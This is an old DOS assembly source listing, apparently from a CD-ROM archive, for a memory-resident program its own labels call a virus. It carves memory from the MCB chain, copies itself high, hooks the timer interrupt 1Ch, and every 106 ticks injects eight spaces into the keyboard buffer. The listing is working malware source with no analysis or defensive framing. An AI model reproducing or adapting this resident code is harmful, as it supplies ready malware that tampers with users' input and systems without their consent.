home *** CD-ROM | disk | FTP | other *** search
- .radix 16
- code segment
- model small
- assume cs:code, ds:code, es:code
-
- org 100h
-
- len equ offset last - begin
- vir_len equ len / 16d
-
- begin:
- jmp start
- db 'ߥ.ÑîkådëMû$'
- start:
- mov ax,cs ; reduce memory size
- dec ax
- mov ds,ax
- cmp byte ptr ds:[0000],5a
- jne abort
- mov ax,ds:[0003]
- sub ax,30
- mov ds:0003,ax
- Zopy_me:
- mov bx,ax ; copy to claimed block
- mov ax,es
- add ax,bx
- mov es,ax
- mov cx,len
- mov ax,ds
- inc ax
- mov ds,ax
- lea si,ds:[begin]
- lea di,es:0100
- rep movsb
-
- mov [vir_seg],es
- mov ax,cs
- mov es,ax
- Grab_1c:
- cli
- mov ax,351ch ; hook 1c
- int 21h
- mov ds,[vir_seg]
- mov ds:[old_1ch],bx
- mov ds:[old_1ch+2],es
- mov dx,offset spaces
- mov ax,251ch
- int 21h
- sti
- abort:
- int 20h
-
-
- spaces:
- pushf ; call original 1c
- call dword ptr cs:[old_1ch]
- push ax ; save these
- push bx
- push cx
- mov cl, [counter]
- inc cx ; up counter
- cmp cx, 006ah ; have 6ah clicks happened?
- jnz bye
- mov cl, [flag] ; are we already doing something?
- cmp cl, 01h
- jz bye
- mov [flag], 01h ; set the already doing flag
- mov bx, 0008h ; number o spaces
- cunt: mov ah, 05h ; put characters in kbrd buffer
- mov cx, 4520h ; attribs of space
- int 16h ; do it
- dec bx
- cmp bx, 0000h ; have we done all 8?
- jne cunt
- mov [flag], 00h ; clear already doing flag
- mov [counter], 00h ; clear counter
- jmp bye2
- bye:
- mov [counter], cl ; save new counter
- bye2:
- pop cx ; restore stuff
- pop bx
- pop ax
- iret
-
- old_1ch dw 00h,00h
- vir_seg dw ?
- counter db 00h
- flag db 00h
-
- last: db 090h
- code ends
- end begin
-
-
-
-